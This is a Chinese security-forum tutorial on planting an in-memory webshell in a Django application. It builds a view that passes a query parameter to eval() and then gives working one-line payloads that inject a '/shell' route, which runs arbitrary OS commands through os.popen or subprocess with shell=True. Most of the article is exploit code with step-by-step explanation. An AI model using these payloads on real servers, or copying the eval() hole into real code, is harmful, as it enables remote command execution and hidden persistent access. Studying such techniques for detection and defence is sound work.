问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
掌握Django隐秘漏洞:构建内存马,实现命令执行
内存马作为一种常见的攻击与权限维持手段,往往多见于Java Web应用中,Django在日常开发中使用频率较高的框架,今天来探寻在Python Web场景下的内存马
环境搭建 ==== **1.安装Django**:如果你还没有安装 Django,可以通过 pip 安装: ```php pip install django ``` **2.创建Django项目**:使用 Django 提供的命令行工具来创建一个新的项目。 ```php django-admin startproject myproject cd myproject ``` **3.创建应用**:在 Django 项目中,你可以创建多个应用。应用可以看作是项目的一个模块或组件。 ```php python manage.py startapp memshell ``` **4.配置URL路由**:如你所展示的,在 `memshell/urls.py` 文件中定义了路由和视图的映射关系。确保在项目的主 `urls.py` 文件中也包含了对这个应用的引用(如果适用)。 ```php from django.contrib import admin from django.urls import path from .views import calc urlpatterns = [ path('admin/', admin.site.urls), path('calc', calc) ] ``` **5.编写视图**:你已经在 `memshell/views.py` 中定义了一个名为 `calc` 的视图函数,它接受 GET 请求并计算传入的表达式。 ```php from django.http import HttpResponse def calc(request): result = eval(request.GET.get('exp')) return HttpResponse('<h2>result: %s!</h2>' % result) ``` **6.运行服务器**:完成上述步骤后,你可以通过以下命令启动开发服务器: ```php python manage.py runserver ```  访问/admin  内存马构造 ===== Django使用一个名为`urlpatterns`的列表来存储所有的URL模式。每个URL模式通常是一个`path()`或`url()`函数调用的结果,它们将一个特定的URL路径映射到一个视图函数。  现在我们的思路就是动态地向`urlpatterns`中添加新的路径,可以引入一个新的可访问端点,该端点用于接收命令和返回结果。 在 `Django` 中,网站目录下会有一个 `settings.py` 文件用于定义应用配置,其中 `ROOT_URLCONF` 指定了当前应用路由入口 现在需要获取到 `settings` 这个对象 在Python中,函数对象有一个名为`__globals__`的属性,它指向定义该函数时所在的全局命名空间(即全局变量字典)。通过这个属性,可以从一个局部作用域访问到整个模块的全局变量。在Django视图函数中,可以从`request`参数关联的任何函数出发,访问到整个模块的全局变量,包括Django项目的设置和URL配置。  那么直接将其导入,就可以获得当前应用的入口 这个时候, 就可以通过访问 `urls.urlpatterns` 来操作路由列表了  在路由定义中,每一条路由都会调用 `path` 函数来进行定义 跟进一下 它接收四个参数:`route`、`view`、`kwargs`和`name`,其中`kwargs`和`name`是可选参数。主要关注的是前两个参数: 1. `**route**`: 这是一个字符串,表示匹配的URL模式。 2. `**view**`: 这是一个可调用对象,当URL匹配时会被调用。它可以是: - 一个普通的Python函数(视图函数) - 一个继承自`django.views.View`的类,并通过`.as_view()`方法转换为可调用对象 - 包含`(urlconf_module, app_name, namespace)`的元组或列表,用于包含其他URL配置 `_path`函数对`view`参数有特定的要求,具体如下: - 如果`view`是一个可调用对象(例如普通函数或实现了`__call__`方法的对象),则直接将其作为视图函数处理。 - 如果`view`是一个包含`(urlconf_module, app_name, namespace)`的元组或列表,则用于包含其他URL配置。 - 如果`view`是一个继承自`django.views.View`的类,则需要调用其`.as_view()`方法将其转换为可调用对象。 - 如果`view`不符合上述任何一种情况,则会抛出`TypeError`异常。 由于`_path`函数要求视图参数必须是可调用的,我们可以使用Python的lambda表达式来快速定义一个简单的视图函数。Lambda表达式是一种创建匿名函数的方式,非常适合这种场景。 内存马 ```php __import__('django').urls.path('shell', lambda request: __import__('django').http.HttpResponse( __import__('os').popen(request.GET.get('cmd','id')).read() ) ) ``` #### 1. 动态导入模块 - `__import__('django')`: 使用`__import__()`动态加载Django模块。这是为了在运行时而不是在脚本启动时加载模块,适合用于需要动态行为的场景。 - `__import__('django').urls.path`: 从Django模块中导入`path`函数,用于定义新的URL模式。 - `__import__('django').http.HttpResponse`: 从Django模块中导入`HttpResponse`类,用于创建HTTP响应对象。 - `__import__('os').popen`: 动态加载Python的`os`模块,并使用`popen`函数来执行系统命令。 #### 2. 定义新的URL模式 - `'shell'`: 这是新添加的URL路径部分。任何对`/shell`的GET请求都会匹配这个模式。 - `lambda request: ...`: 这是一个匿名函数(lambda表达式),用作视图函数处理请求。它接收一个`request`对象作为输入参数。 #### 3. 视图函数逻辑 - `request.GET.get('cmd','id')`: 从HTTP请求的GET参数中获取名为`cmd`的值。如果未提供`cmd`参数,则默认使用`id`命令。 - `__import__('os').popen(...).read()`: 使用`os.popen`函数执行从请求中提取出的命令,并读取其输出结果。 - `__import__('django').http.HttpResponse(...)`: 将命令执行的结果包装成HTTP响应返回给客户端。 将新路由append到app.urlpatterns中实现内存马 ```php __import__(request.get_port.__globals__["settings"].ROOT_URLCONF).urls.urlpatterns.append(__import__('django').urls.path('shell',lambda request: __import__('django').http.HttpResponse(__import__('os').popen(request.GET.get('cmd','id')).read()))) ``` 效果:  也可以使用`subprocess.check_output()`来执行命令 ```php __import__(__import__('django.conf').conf.settings.ROOT_URLCONF).urls.urlpatterns.append( __import__('django').urls.path('nnn', lambda request: __import__('django.http').http.HttpResponse( __import__('subprocess').check_output( request.GET.get('cmd', 'id'), shell=True) ) ) ) ``` 
发表于 2025-03-10 17:38:25
阅读 ( 1405 )
分类:
WEB安全
0 推荐
收藏
0 条评论
请先
登录
后评论
Werqy3
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!